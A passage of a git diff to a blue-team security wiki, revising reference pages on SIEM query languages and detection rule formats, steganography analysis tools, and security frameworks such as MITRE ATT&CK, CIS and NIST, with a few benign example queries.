decoding training is preserved in Training. * _Packet Analysis - Applied Network Security Monitoring, pg.341_ -__ +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/blue-defense/query-languages.md b/blue-defense/query-languages.md index dfd4085..50c79a6 100644 --- a/blue-defense/query-languages.md +++ b/blue-defense/query-languages.md @@ -1,87 +1,148 @@ --- -description: Common Security Events, how to analyze them, and the tools to do so +description: Security query languages, detection rule syntax, and search references --- # Query Languages -Triaging and investigating security events are the bread and butter of any SOC analyst. Before we can investigate we must first have two things: A common terminology to define attacks and security related activity, and searches to direct us to that activity. +Triaging and investigating security events are the bread and butter of SOC analysis. Before you can investigate effectively, you need two things: common terminology for security activity and reliable searches that point you toward that activity. -## **Event search languages and rules** +Use this page for SIEM search syntax, detection rule formats, and security query references. Tool catalogs belong on the Event Detection and Blue Toolbox pages; this page is for the languages analysts use inside those tools. -Weather it is an open source tool like Elastic Stack, or a proprietary tool like Splunk, every data mining or security event generating tool, has its own language it works in. Specifically for SIEMs, EDRs, and Data mining platforms, they require an extensive and flexible language to search for data with a multitude of conditions that a user might have. Writing effective searches is an artform, and it is highly encouraged that you do tons of research and testing before deployment. Blue team blog has a fantastic Use Case writing guide as well as some fantastic use cases available for free. +## Event Search Languages and Rules -## [Sigma](https://github.com/Neo23x0/sigma) +Whether you are using an open-source stack like Elastic or a commercial tool like Splunk, every SIEM, EDR, and data platform has its own search language. Writing effective searches takes practice, testing, and tuning before deployment. -The syntax and format of all of the available languages is vast and complex. Especially so, when you have to convert search parameters from one tool to another. In comes Sigma. +## [Sigma](https://github.com/SigmaHQ/sigma) -"Sigma is a generic and open signature format that allows you to describe relevant log events in a straightforward manner. The rule format is very flexible, easy to write and applicable to any type of log file. The main purpose of this project is to provide a structured form in which researchers or analysts can describe their once developed detection methods and make them shareable with others.Sigma is for log files what [Snort](https://www.snort.org/) is for network traffic and [YARA](https://github.com/VirusTotal/yara) is for files." - Sigma Github Notes +The syntax and format of search languages can become complex, especially when you need to translate detection logic between platforms. Sigma helps solve that problem by providing a generic, open rule format for log-based detections. Sigma is often described as being for logs what [Snort](https://www.snort.org/) is for network traffic and [YARA](https://github.com/VirusTotal/yara) is for files. -Sigma is a fantastic tool that decouples rule logic from vendor terminology. Sigma is stored in easy to ready YAML format and is compatible with the MISP intel tool. +Sigma is a fantastic tool that decouples rule logic from vendor terminology. Sigma is stored in an easy-to-read YAML format and is compatible with the MISP intel tool. -Remember two things: First, Sigma queries may not be perfect, but they should get you 90-95% the way towards what you are looking for. Be prepared to tweak! \ -Second, online converters might not be able to translate from one platform easily. Example: LogRhythm -> Splunk. Sometimes you need to look at various Github repositories to get the code to convert to Sigma, then on to the platform of your choice. Example: LogRhythm -> Sigma -> Splunk. +Remember two things: -* [GitHub - Neo23x0/sigma: Generic Signature Format for SIEM Systems](https://github.com/Neo23x0/sigma) -* [GitHub - socprime/SigmaUI: SIGMA UI is a free open-source application based on the Elastic stack and Sigma Converter (sigmac)](https://github.com/socprime/SigmaUI) +* Sigma conversions may get you most of the way there, but translated queries still need testing and tuning. +* Some platform-to-platform conversions require an intermediate step. For example, LogRhythm to Sigma to Splunk may work better than trying to translate LogRhythm directly to Splunk. + +* [SigmaHQ/sigma](https://github.com/SigmaHQ/sigma) - Generic signature format for SIEM systems. * [How to Write Sigma Rules - Nextron Systems](https://www.nextron-systems.com/2018/02/10/write-sigma-rules/) * [GitHub - LogRhythm-Labs/Sigma: Convert Sigma rules to LogRhythm searches](https://github.com/LogRhythm-Labs/Sigma) -* [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097) -* [sigmaio](https://github.com/M3NIX/sigmaio) - simple webapp for converting sigma rules into siem queries using the pySigma library - * [https://sigmaio.herokuapp.com/](https://sigmaio.herokuapp.com/) -* [WithSecureLabs/chainsaw](https://github.com/WithSecureLabs/chainsaw) - Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows forensic artefacts such as Event Logs and MFTs. Chainsaw offers a generic and fast method of searching through event logs for keywords, and by identifying threats using built-in support for Sigma detection rules, and via custom Chainsaw detection rules. +* [Importing Sigma Rules to Microsoft Sentinel](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097) +* [WithSecureLabs/chainsaw](https://github.com/WithSecureLabs/chainsaw) - Chainsaw provides a powerful first-response capability to quickly identify threats within Windows forensic artifacts such as Event Logs and MFTs. * [Yamato-Security/hayabusa](https://github.com/Yamato-Security/hayabusa) - Hayabusa (隼) is a sigma-based threat hunting and fast forensics timeline generator for Windows event logs. To make Sigma even easier to use, there are tools like Uncoder.io that can easily translate the rule syntax from one platform to another, free of charge. As stated above, if you cannot do direct translations from one platform to another, try changing the source search to Sigma first, then on to the platform of your choice. -* [Online translator for SIEM saved searches, filters, queries and Sigma rules - Uncoder.IO](https://uncoder.io/) +* [Uncoder.IO](https://uncoder.io/) - Online translator for SIEM saved searches, filters, queries and Sigma rules. ![](<../.gitbook/assets/image (41).png>) -## [Lucene](https://lucene.apache.org/) (ElasticSearch) +## [Lucene](https://lucene.apache.org/) and Elasticsearch -Apache's search language that is used in many technologies including Elastic Stack and Palo Alto's XSOAR +Apache Lucene query syntax appears in many security tools, including Elastic Stack and Graylog. Elasticsearch, Kibana Query Language (KQL), and Elastic Query Language (EQL) are common in security monitoring and threat hunting workflows. -* [https://logz.io/blog/elasticsearch-queries/](https://logz.io/blog/elasticsearch-queries/) -* [https://lucene.apache.org/core/2\_9\_4/queryparsersyntax.html](https://lucene.apache.org/core/2\_9\_4/queryparsersyntax.html) -* KQL: Kibana search language based on Lucene. - [https://www.elastic.co/guide/en/kibana/master/kuery-query.html](https://www.elastic.co/guide/en/kibana/master/kuery-query.html) -* [Elasticsearch: The Definitive Guide](https://www.elastic.co/guide/en/elasticsearch/guide/current/index.html) ([fork it on GH](https://github.com/elastic/elasticsearch-definitive-guide)) +* [Lucene Query Parser Syntax](https://lucene.apache.org/core/9_8_0/queryparser/org/apache/lucene/queryparser/classic/package-summary.html#package_description) +* [Logz.io - Elasticsearch Queries Guide](https://logz.io/blog/elasticsearch-queries/) +* [Elasticsearch: The Definitive Guide](https://www.elastic.co/guide/en/elasticsearch/guide/current/index.html) +* [Elastic KQL Docs](https://www.elastic.co/guide/en/kibana/master/kuery-query.html) - Kibana Query Language, the default search language in Kibana. +* [Elastic EQL Docs](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html) - Event Query Language for event correlation and sequence matching. * _Threat Hunting in Elastic Stack: Lucene - pg. 212_ +* _Threat Hunting in Elastic Stack: KQL - pg. 216_ +* _Threat Hunting in Elastic Stack: EQL - pg. 220_ -[Solr](https://solr.apache.org/) - Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene +### Solr -* [https://github.com/hectorcorrea/solr-for-newbies](https://github.com/hectorcorrea/solr-for-newbies) +[Solr](https://solr.apache.org/) is an open-source enterprise search platform built on Apache Lucene. -KQL - Kibana Query Language, the default query language of the Kibana seach and alerting utility within Elastic Stack. +* [Solr for Newbies](https://github.com/hectorcorrea/solr-for-newbies) -* _Threat Hunting in Elastic Stack: KQL - pg. 216_ +## Splunk SPL: Search Processing Language -EQL - Elastic Query Language, an advanced query language developed by Elastic for use in thier Security App. +* [Splunk Search Tutorial](https://docs.splunk.com/Documentation/Splunk/latest/SearchTutorial/Usethesearchlanguage) +* [GoSplunk](https://gosplunk.com/) - A repository of Splunk queries. +* [Splunk Search Reference](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/ListOfSearchCommands) +* [Splunk Quick Reference Guide (PDF)](https://www.splunk.com/pdfs/solution-guides/splunk-quick-reference-guide.pdf) +* _Operator Handbook: Splunk - pg. 277_ -* _Threat Hunting in Elastic Stack: EQL - pg. 220_ +## Graylog -## Splunk's SPL: Search Processing Language +* Graylog's query language is very close to Lucene. + * [Graylog Searching Documentation](https://docs.graylog.org/docs/searching) -* [https://docs.splunk.com/Documentation/Splunk/8.2.1/SearchTutorial/Usethesearchlanguage](https://docs.splunk.com/Documentation/Splunk/8.2.1/SearchTutorial/Usethesearchlanguage) -* [https://gosplunk.com/](https://gosplunk.com/) -* [https://wiki.splunk.com/images/2/2b/Cheatsheet.pdf](https://wiki.splunk.com/images/2/2b/Cheatsheet.pdf) -* [https://www.splunk.com/pdfs/solution-guides/splunk-quick-reference-guide.pdf](https://www.splunk.com/pdfs/solution-guides/splunk-quick-reference-guide.pdf) -* [https://www.splunk.com/pdfs/solution-guides/splunk-dashboards-quick-reference-guide.pdf](https://www.splunk.com/pdfs/solution-guides/splunk-dashboards-quick-reference-guide.pdf) -* [https://docs.splunk.com/Documentation/Splunk/8.1.0/SearchReference/ListOfSearchCommands](https://docs.splunk.com/Documentation/Splunk/8.1.0/SearchReference/ListOfSearchCommands) -* _Operator Handbook: Splunk - pg. 277_ +## Microsoft Defender XDR & Microsoft Sentinel (KQL) -## Graylog +Microsoft Defender XDR (formerly Microsoft 365 Defender) and Microsoft Sentinel use Kusto Query Language (KQL) for advanced hunting and analytics. KQL is a powerful, read-only request to process data and return results. The syntax is similar to SQL but uses a data-flow model where operators are connected by pipes (`|`). + +* [**Official KQL Documentation**](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/) - The primary reference for all operators and functions. +* [**Must Learn KQL**](https://github.com/rod-trent/MustLearnKQL) - A fantastic, community-driven learning series and book by Rod Trent. +* [**KQL Cheat Sheet**](https://github.com/marcusbakker/KQL-CheatSheet) - Quick reference for common queries. +* [**Azure Sentinel GitHub**](https://github.com/Azure/Azure-Sentinel) - Contains a massive library of detections and hunting queries. + +Example KQL structure: +```kusto +SecurityEvent +| where TimeGenerated > ago(1h) +| where EventID == 4624 +| summarize count() by Account, Computer +| sort by count_ desc +``` + +## Google Security Operations (YARA-L) + +YARA-L is the detection language used by Google Security Operations (formerly Chronicle SIEM). Unlike standard YARA, which is used for file and malware pattern matching, YARA-L is designed for log, event, and entity data. It excels at correlation logic, allowing analysts to link events over time. + +* [**YARA-L syntax reference**](https://cloud.google.com/chronicle/docs/detection/yara-l-2-0-syntax) +* [**Google SecOps Detection Rules**](https://github.com/chronicle/detection-rules) - Official repository of YARA-L detection rules. +* [**Chronicle YARA-L 2.0 Overview**](https://cloud.google.com/chronicle/docs/detection/yara-l-2-0-overview) + +For standard YARA rule writing, use the DFIR YARA page. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/yara.md" %} +[yara.md](../dfir-digital-forensics-and-incident-response/yara.md) +{% endcontent-ref %} + +## Osquery (SQL) + +[Osquery](https://osquery.io/) allows you to query your endpoints (Windows, macOS, Linux) as if they were a relational database. It abstracts operating system concepts (processes, kernel modules, open network connections, etc.) into SQL tables. Queries are written in standard SQLite syntax. + +* [**Osquery Schema**](https://osquery.io/schema/) - Interactive documentation of all available tables and columns. +* [**Osquery Documentation**](https://osquery.readthedocs.io/) +* [**Generic SQL for Endpoint**](https://github.com/osquery/osquery/tree/master/packs) - See example query packs. + +Example Osquery to find running processes: +```sql +SELECT pid, name, path, cmdline FROM processes WHERE on_disk = 0; +``` + +## Graph Query Languages (Cypher) + +Graph databases like Neo4j are increasingly used in security for analyzing relationships, such as Attack Paths in Active Directory (used by [BloodHound](https://github.com/BloodHoundAD/BloodHound)). The standard language for this is **Cypher**. + +* [**Neo4j Cypher Refcard**](https://neo4j.com/docs/cypher-refcard/current/) - A cheatsheet for syntax. +* [**BloodHound Cypher Cheatsheet**](https://github.com/CompassSecurity/BloodHound-Queries) - Security-specific queries. + +Example Cypher query (Shortest path to Domain Admin): +```cypher +MATCH p=shortestPath((u:User {name:'UserA'})-[*1..]->(g:Group {name:'DOMAIN ADMINS'})) RETURN p +``` + +## Network Detection Rules (Snort / Suricata) + +While not strictly "query languages" for log analysis, Snort and Suricata rules are the standard for Network Intrusion Detection Systems (NIDS). Understanding this syntax is crucial for network security monitoring. + +* [**Snort Rule Docs**](https://docs.snort.org/rules/) +* [**Suricata User Guide**](https://suricata.io/documentation/) +* [**Emerging Threats**](https://rules.emergingthreats.net/) - A great source of open rules examples. + +## Cloud Log Management -* Graylog's query language is very close to Lucene. Watch for syntax errors. - * [https://docs.graylog.org/en/3.3/pages/searching/query\_language.html](https://docs.graylog.org/en/3.3/pages/searching/query\_language.html) +### AWS CloudWatch Logs Insights -## Windows O365 +AWS uses a proprietary query syntax for CloudWatch Logs Insights. It supports filtering, stats, and sorting. -* [https://docs.microsoft.com/en-us/microsoft-365/security/defender/advanced-hunting-query-language?view=o365-worldwide](https://docs.microsoft.com/en-us/microsoft-365/security/defender/advanced-hunting-query-language?view=o365-worldwide) +* [**CloudWatch Logs Insights Query Syntax**](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html) -## Windows Defender ATP +### Datadog -* [https://docs.microsoft.com/en-us/windows/security/threat-protection/](https://docs.microsoft.com/en-us/windows/security/threat-protection/) -* __[https://github.com/alexverboon/WindowsDefenderATP-Hunting-Queries](https://github.com/alexverboon/WindowsDefenderATP-Hunting-Queries) -* _Operator Handbook: Windows Defender ATP - pg. 417_ +Datadog uses a custom search syntax for log management, often boolean-based with faceted search capabilities. -**** +* [**Datadog Log Search Syntax**](https://docs.datadoghq.com/logs/explorer/search_syntax/) diff --git a/blue-defense/steganography.md b/blue-defense/steganography.md new file mode 100644 index 0000000..021dc2b --- /dev/null +++ b/blue-defense/steganography.md @@ -0,0 +1,82 @@ +--- +description: I'm the data, playing the data, disguised as another data... +--- + +# Steganography + +**Steganography** is the practice of concealing a message, file, image, or video within another file, message, image, or video. Unlike cryptography, which scrambles data to make it unreadable, steganography hides the existence of the message. + +## Relevance to Defense + +For blue teamers and security analysts, steganography matters because: + +* **Malware communication:** Attackers may hide C2 traffic or configuration data inside images or legitimate-looking traffic. +* **Data exfiltration:** Insiders or malware may smuggle sensitive data out of a network inside benign-looking files. +* **Forensics:** Analysts may need to detect and extract hidden artifacts during investigations, malware analysis, or CTF-style training. + +## Common Techniques + +* **Least Significant Bit (LSB):** Modifies the last bit of image bytes to store hidden data while minimally changing the visible image. +* **End of File (EOF) / Injection:** Appends data after a file's normal end marker. +* **Metadata Manipulation:** Hides data in headers or metadata such as EXIF or ID3 tags. +* **Network Steganography:** Hides information in protocol headers, sequence numbers, or timing channels. + +## General Analysis Utilities + +* [CyberChef](https://gchq.github.io/CyberChef/) - Web app for encoding, decoding, compression, and data analysis. Useful for LSB extraction, XOR, and magic header detection. +* [Binwalk](https://github.com/ReFirmLabs/binwalk) - Detects and extracts embedded files and appended data. +* [ExifTool](https://exiftool.org/) - Reads, writes, and manipulates image, audio, video, and PDF metadata. +* [Strings](https://linux.die.net/man/1/strings) - Prints readable strings from files. Often a first check for unencrypted hidden text. + +These tools also overlap with DFIR file analysis workflows. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/file-analysis.md" %} +[file-analysis.md](../dfir-digital-forensics-and-incident-response/file-analysis.md) +{% endcontent-ref %} + +## General Purpose and Command-Line Tools + +* [Steghide](https://steghide.sourceforge.net/) - Classic program for hiding data in image and audio files. Still widely used in CTFs, but older. +* [StegSeek](https://github.com/RickdeJager/stegseek) - Fast replacement for StegCracker that can crack Steghide passwords. +* [OutGuess](https://www.kali.org/tools/outguess/) - Tool for inserting hidden information into redundant bits of data sources. +* [OpenStego](https://www.openstego.com/) - Open-source Java tool for data hiding and digital watermarking. + +## Image Analysis + +* [Forensically](https://29a.ch/photo-forensics/#forensic-magnifier) - Online forensic image analysis toolkit. +* [Aperi'Solve](https://aperisolve.fr/) - Online steganography analysis platform that combines common image-analysis tools. +* [StegSolve](https://github.com/Giotino/StegSolve) - Classic Java tool for analyzing image layers, planes, and filters. +* [StegoOnline](https://stegonline.georgeom.net/upload) - Web-based enhanced port of StegSolve for image plane and data analysis. +* [StegoToolKit](https://github.com/DominicBreuker/stego-toolkit) - Docker image with tools for steganography challenges. +* [zsteg](https://github.com/zed-0xff/zsteg) - Detects hidden data in PNG and BMP files. +* [Base64 to Image Converter](https://codebeautify.org/base64-to-image-converter) - Useful when Base64 strings may represent images. + +## Audio Steganography + +Hidden messages within audio files often require spectral analysis or specialized software. + +* [Audacity](https://www.audacityteam.org/) - Free audio editor useful for spectrogram and waveform analysis. +* [Sonic Visualiser](https://www.sonicvisualiser.org/) - Application for viewing and analyzing audio file contents. + +## Miscellaneous and Decoders + +* [WebQR](https://webqr.com/index.html) - Online QR code scanner. +* [Online Barcode Reader](https://online-barcode-reader.inliteresearch.com/) - Reads various barcode formats. + +## Guides and Collections + +* [0xRick's Stego Tool Collection](https://0xrick.github.io/lists/stego/) - Comprehensive list of steganography tools. +* [The Exo Guide to Data Cloaking](https://exo.substack.com/p/the-exo-guide-to-data-cloaking) - Guide on data hiding techniques. +* [Caesum's Stego Guide](http://www.caesum.com/) - Legacy CTF-oriented steganography resource. + +## Legacy / Older Utilities + +* [StegCracker](https://www.kali.org/tools/stegcracker/) - Deprecated brute-force utility for Steghide. Use StegSeek instead. +* [Snowdrop](https://www.kali.org/tools/snowdrop/) - Steganographic watermarking for text documents and C source code. +* [Stegsnow](https://www.kali.org/tools/stegsnow/) - Conceals messages in ASCII text by appending whitespace to the end of lines. + +Training rooms and CTF practice links are preserved in the Training section. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/blue-defense/stegonography.md b/blue-defense/stegonography.md deleted file mode 100644 index 93bf500..0000000 --- a/blue-defense/stegonography.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -description: I'm the data, playing the data, disguised as another data... ---- - -# Stegonography - -Stegonography: The art of hiding data in something else, in order to communicate that data in a covert way. - -## **Stego Tools and resources** - -* [Online Steghide tool](https://futureboy.us/stegano/) - These pages use the [steghide](http://steghide.sourceforge.net/) program to perform steganography, and the files generated are fully compatible with steghide. -* [0xRick's Stego tool collection](https://0xrick.github.io/lists/stego/) -* [https://exo.substack.com/p/the-exo-guide-to-data-cloaking](https://exo.substack.com/p/the-exo-guide-to-data-cloaking) -* [Caesum's Stego Guide](http://www.caesum.com/) - Caesum's Handbook has tons of great resources for CTF challanges and one of the best Stego guides around. -* [outguess](https://www.kali.org/tools/outguess/) - OutGuess is a universal tool for steganography that allows the insertion of hidden information into the redundant bits of data sources. -* [snowdrop](https://www.kali.org/tools/snowdrop/) - Snowdrop provides reliable, difficult to remove steganographic watermarking of text documents and C sources -* [steghide](https://www.kali.org/tools/steghide/) - Steghide is steganography program which hides bits of a data file in some of the least significant bits of another file in such a way that the existence of the data file is not visible and cannot be proven. -* [stegsnow](https://www.kali.org/tools/stegsnow/) - This utility can conceal messages in ASCII text by appending whitespaces to the end of lines. Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers. And if the built-in encryption is used, the message cannot be read even if it is detected. -* [https://tryhackme.com/room/ccstego](https://tryhackme.com/room/ccstego) - -## Image analysis - -* [Forensically](https://29a.ch/photo-forensics/#forensic-magnifier) - An amazing online tool that can provide different levels of photographic analysis on an image. -* [Asperisolve](https://aperisolve.fr/) - Aperi'Solve is an online platform which performs layer analysis on image. The platform also uses zsteg, steghide, outguess, exiftool, binwalk, foremost and strings for deeper steganography analysis. -* [Base64 to Image converter](https://codebeautify.org/base64-to-image-converter) -* [StegoOnline](https://stegonline.georgeom.net/upload) - A web-based, enhanced and open-source port of StegSolve. Upload any image file, and the relevant options will be displayed. -* [StegoToolKit](https://github.com/DominicBreuker/stego-toolkit) - This project is a Docker image useful for solving Steganography challenges as those you can find at CTF platforms -* [zsteg](https://github.com/zed-0xff/zsteg) - Detect stegano-hidden data in PNG & BMP -* [stegcracker](https://www.kali.org/tools/stegcracker/) - StegCracker is steganography brute-force utility to uncover hidden data inside files. - -## Audio Stego - -* Audacity Audio Editor - [https://www.audacityteam.org/](https://www.audacityteam.org/) -* Sonic Visualizer - [https://www.sonicvisualiser.org/](https://www.sonicvisualiser.org/) - -## Bar Code Readers - -* [https://webqr.com/index.html](https://webqr.com/index.html) -* [https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/) - diff --git a/blue-defense/terminology-and-mapping.md b/blue-defense/terminology-and-mapping.md index 28e8bbf..6947d23 100644 --- a/blue-defense/terminology-and-mapping.md +++ b/blue-defense/terminology-and-mapping.md @@ -1,68 +1,103 @@ # Standards, Frameworks, and Benchmarks +Use this page for defensive frameworks, control catalogs, maturity models, and mapping references that help defenders organize security programs and detection coverage. Tool-specific resources should live on the operational pages that use them. + ### [MITRE ATT\&CK™](https://attack.mitre.org/) -With over a dozen tactics and hundreds of techniques, MITRE Attack has become the defacto standard for event mapping. It can be used defensively to help you map both the attacks coming in against your network, as well as map your current coverage of visibility, to see where your organization can grow. - -* [Awesome List Collection: Mitre Attack](https://github.com/Shiva108/CTF-notes/tree/master/awesome-mitre-attack) -* [Mitre Groups](https://attack.mitre.org/groups/) - Repository documenting known techniques performed by threat actor groups. -* [Attack Navigator](https://mitre-attack.github.io/attack-navigator/) - A web-based tool for annotating and exploring ATT\&CK matrices. It can be used to visualize defensive coverage, red/blue team planning, the frequency of detected techniques, and more. -* [C.A.R. Cyber Analytics Repository ](https://car.mitre.org/)- A knowledge base of analytics developed by [MITRE](https://www.mitre.org) based on the [MITRE ATT\&CK](https://attack.mitre.org/) adversary model. -* [Caldera](https://github.com/mitre/caldera) - Scalable Automated Adversary Emulation Platform built around the Mitre techniques. -* [Cascade](https://github.com/mitre/cascade-server) - A research project at MITRE which seeks to automate much of the investigative work a “blue-team” team would perform to determine the scope and maliciousness of suspicious behavior on a network using host data. -* [Mitre Shield Framework ](https://shield.mitre.org/matrix/)- Mitre Shield is a new framework that maps defensive tools and techniques to the topic of Active Defense. This includes things like decoy accounts, canary tokens, and other forms of cyber deception. -* [Mitre D3fend](https://d3fend.mitre.org/) - Thanks to some support from the NSA, Mitre has created a cyber countermeasure based framework that helps defenders map defensive techniques to coverage of offensive techniques. -* [Mitre Engage](https://engage.mitre.org) - MITRE Engage is a framework for planning and discussing adversary engagement operations that empowers you to engage your adversaries and achieve your cybersecurity goals. -* [ATT\&CK® EVALUATIONS](https://attackevals.mitre-engenuity.org/) - Evaluations of security tools based on MITRE technique coverage -* [atomic-threat-coverage](https://github.com/atc-project/atomic-threat-coverage) - Atomic Threat Coverage is tool which allows you to automatically generate actionable analytics, designed to combat threats (based on the [MITRE ATT\&CK](https://attack.mitre.org/) adversary model) from Detection, Response, Mitigation and Simulation perspectives -* [https://github.com/OTRF/OSSEM-DM](https://github.com/OTRF/OSSEM-DM) - Collection of Mitre mappings connected to EventIDs and Mitre Data Sources. -* [https://github.com/center-for-threat-informed-defense/attack-flow](https://github.com/center-for-threat-informed-defense/attack-flow) - ATT\&CK Flow helps executives, SOC managers, and defenders easily understand how attackers compose ATT\&CK techniques into attacks by developing a representation of attack flows, modeling attack flows for a small corpus of incidents, and creating visualization tools to display attack flows. - * [https://ctid.mitre-engenuity.org/our-work/attack-flow](https://ctid.mitre-engenuity.org/our-work/attack-flow) - * [https://github.com/vz-risk/flow](https://github.com/vz-risk/flow) - Tools related to work with Attack Flow -* [https://github.com/xakepnz/enterpriseattack](https://github.com/xakepnz/enterpriseattack) - A lightweight Python module to interact with the Mitre Att\&ck Enterprise dataset. -* [https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/](https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/) -* [https://www.jaiminton.com/mitreatt\&ck](https://www.jaiminton.com/mitreatt\&ck) -* [https://tryhackme.com/room/mitre](https://tryhackme.com/room/mitre) +With over a dozen tactics and hundreds of techniques, MITRE ATT\&CK has become the de facto standard for event mapping. It can be used defensively to map attacks against your network and to map your current visibility coverage, helping identify areas for growth. + +* [MITRE ATT\&CK Resources](https://attack.mitre.org/resources/) - Official resources including presentations, papers, and tools. +* [Awesome Threat Detection](https://github.com/0x4D31/awesome-threat-detection) - A curated list of resources and tools for threat detection and hunting, with extensive MITRE ATT\&CK coverage. +* [Mitre Groups](https://attack.mitre.org/groups/) - A repository documenting known techniques performed by threat actor groups. +* [ATT\&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - A web-based tool for annotating and exploring ATT\&CK matrices. It can be used to visualize defensive coverage, red/blue team planning, the frequency of detected techniques, and more. +* [C.A.R. Cyber Analytics Repository](https://car.mitre.org/) - A knowledge base of analytics developed by [MITRE](https://www.mitre.org), based on the [MITRE ATT\&CK](https://attack.mitre.org/) adversary model. +* [Malware Archaeology Windows Logging Cheat Sheets](https://github.com/MalwareArchaeology/ATTACK) - The gold standard for mapping Windows Event Logs to MITRE ATT\&CK techniques. +* [ATT\&CK® EVALUATIONS](https://attackevals.mitre-engenuity.org/) - Evaluations of security tools based on MITRE technique coverage. +* [ATT\&CK Flow](https://github.com/center-for-threat-informed-defense/attack-flow) - Helps executives, SOC managers, and defenders understand how attackers compose techniques into attacks by modeling suspicious flows. + * [Center for Threat-Informed Defense Work](https://ctid.mitre-engenuity.org/our-work/attack-flow) + * [Attack Flow Tools](https://github.com/vz-risk/flow) - Tools related to working with Attack Flow. +* [Enterprise ATT\&CK Python Module](https://github.com/xakepnz/enterpriseattack) - A lightweight Python module to interact with the MITRE ATT\&CK Enterprise dataset. +* [Mapping MITRE ATT\&CK with Windows Event Log IDs](https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/) +* [Jai Minton's MITRE ATT\&CK Resources](https://www.jaiminton.com/mitreatt\&ck) + +### Deprecated / Archived Projects + +* [Mitre Engage](https://engage.mitre.org) - (Sunset in 2024) A framework for planning and discussing adversary engagement operations. +* [Mitre Shield Framework](https://shield.mitre.org/matrix/) - (Deprecated) A framework mapping defensive tools and techniques to Active Defense. Succeeded by MITRE Engage. +* [Cascade](https://github.com/mitre/cascade-server) - (Archived) A research project at MITRE seeking to automate investigative work. No longer actively maintained. +* [Mitre D3fend](https://d3fend.mitre.org/) - (No longer maintained by MITRE) Initial funding provided by the NSA. A cyber countermeasure knowledge base. While valuable, check for recent updates or community forks. +* [Atomic Threat Coverage](https://github.com/atc-project/atomic-threat-coverage) - (Inactive) A tool to automatically generate actionable analytics. Not updated since ~2021. +* [OSSEM-DM](https://github.com/OTRF/OSSEM-DM) - (Inactive) A collection of MITRE mappings. Not updated since ~2022. +* [Azure Threat Research Matrix](https://microsoft.github.io/Azure-Threat-Research-Matrix/) - (Inactive) A knowledge base of Azure TTPs. No longer actively updated by Microsoft. ### Center for Internet Security (CIS) Benchmarks and Controls -CIS has sets of helpful resources for hardening your environment. The most important for defensive specialists is the CIS Benchmarks and the CIS Controls. The CIS Benchmarks are a large collection of hardening and configuration standards of dozens of products from different vendors. To make life even easier, there are even scripts that help you set up your infrastructure to these standards. CIS Controls are documented security best practices for your network. These are incredibly valuable for improving your security posture, and you can even map your detection use cases to the controls that protect against certain attacks. +CIS provides sets of helpful resources for hardening your environment. The most important for defensive specialists are the CIS Benchmarks and the CIS Controls. The CIS Benchmarks are a large collection of hardening and configuration standards for dozens of products from different vendors. To make life easier, build scripts are available to help you set up your infrastructure to these standards. CIS Controls are documented security best practices for your network. These are incredibly valuable for improving your security posture, and you can even map detection use cases to the controls that protect against certain attacks. + +Understanding both of these is valuable for both your organization and your own professional development. Understanding critical security controls can help you develop your understanding of security theory. Digging into the CIS Benchmarks (especially the hardening scripts) is incredibly useful for gaining detailed technical knowledge of security issues. + +* [CIS Controls](https://www.cisecurity.org/controls/) +* [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) +* [CIS Controls Guide](https://www.cisecurity.org/controls/) - Official implementation guidance and resources for the CIS Controls. +* [CIS Community Defense Model](https://www.cisecurity.org/insights/white-papers/cis-community-defense-model) +* [Cyber Attack Defense: CIS Benchmarks, CDM, and MITRE ATT\&CK](https://www.cisecurity.org/blog/cyber-attack-defense-cis-benchmarks-cdm-mitre-attck/) +* [Why You Should Care About CIS v8](https://www.blackhillsinfosec.com/center-for-internet-security-cis-v8-why-you-should-care/) + +### NIST Cybersecurity and Risk Management -Understanding both of these are incredibly valuable to both your organization as well as you. Understanding the critical security controls can help you develop your own understanding of security theory. Digging into the CIS Benchmarks (especially the hardening scripts) is incredibly useful for more detailed technical knowledge of security issues. +NIST publications are useful for building security programs, selecting controls, and understanding risk management at an organizational level. -* [https://www.cisecurity.org/controls/](https://www.cisecurity.org/controls/) -* [https://www.cisecurity.org/cis-benchmarks/](https://www.cisecurity.org/cis-benchmarks/) -* [https://www.cisecurity.org/insights/white-papers/cis-community-defense-model](https://www.cisecurity.org/insights/white-papers/cis-community-defense-model) -* [https://www.cisecurity.org/blog/cyber-attack-defense-cis-benchmarks-cdm-mitre-attck/](https://www.cisecurity.org/blog/cyber-attack-defense-cis-benchmarks-cdm-mitre-attck/) -* [https://www.blackhillsinfosec.com/center-for-internet-security-cis-v8-why-you-should-care/](https://www.blackhillsinfosec.com/center-for-internet-security-cis-v8-why-you-should-care/) +* [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework) - Voluntary guidance for organizing and improving cybersecurity risk management. +* [NIST-to-Tech](https://github.com/mikeprivette/NIST-to-Tech) - Open-source mapping of cybersecurity technologies to the NIST Cybersecurity Framework. +* [NIST SP 800-37 Rev. 2](https://csrc.nist.gov/pubs/sp/800/37/r2/final) - Risk Management Framework for Information Systems and Organizations. +* [NIST SP 800-53 Rev. 5](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) - Security and privacy control catalog for information systems and organizations. ### Lockheed-Martin Cyber Kill-Chain -This is a great format for seeing the timeline of an attack. When responding to an event or alert you see from your security devices, see 